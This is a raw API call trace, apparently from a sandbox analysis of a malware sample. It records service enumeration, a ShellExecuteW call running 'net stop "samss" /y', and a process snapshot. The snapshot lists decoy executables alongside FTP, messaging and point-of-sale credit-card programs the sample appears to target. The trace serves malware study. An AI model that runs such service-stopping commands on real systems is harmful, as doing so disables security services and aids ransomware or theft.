	[0240.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xdb3f0
	[0240.536] EnumServicesStatusW (in: hSCManager=0xdb3f0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 0
	[0240.538] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0x2750000
	[0240.539] EnumServicesStatusW (in: hSCManager=0xdb3f0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2750000, cbBufSize=0x1710, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x2750000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 1
	[0240.540] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0240.867] Sleep (dwMilliseconds=0x96) 
	[0241.083] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.084] Sleep (dwMilliseconds=0xc350) 
	[0251.329] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x25e4
	[0251.365] Process32FirstW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0251.367] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0251.368] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0251.370] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0251.594] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0251.596] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0251.597] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0251.599] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0251.601] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0251.602] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0251.604] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.606] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.608] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.609] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.611] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.613] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.614] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.616] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0251.618] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0251.619] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0251.621] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0251.623] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.625] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.626] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0251.628] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.630] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0251.631] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0251.633] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0251.635] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0251.636] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0251.877] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0251.879] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0251.880] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0251.882] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0251.885] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0251.887] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0251.889] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0251.891] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0251.894] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0251.896] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0251.898] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0251.900] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0251.902] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0251.904] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0251.906] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0251.908] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0251.909] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0252.329] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0252.331] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0252.333] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0252.334] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0252.336] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0252.338] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0252.340] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0252.342] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0252.343] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0252.345] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0252.347] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0252.349] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0252.350] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0252.352] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0252.354] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0252.356] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0252.357] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0252.359] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0252.361] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0252.363] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0252.364] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0252.366] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0252.368] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0252.370] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0252.571] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0252.573] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0252.575] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0252.577] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0252.578] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0252.580] Process32NextW (in: hSnapshot=0x25e4, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
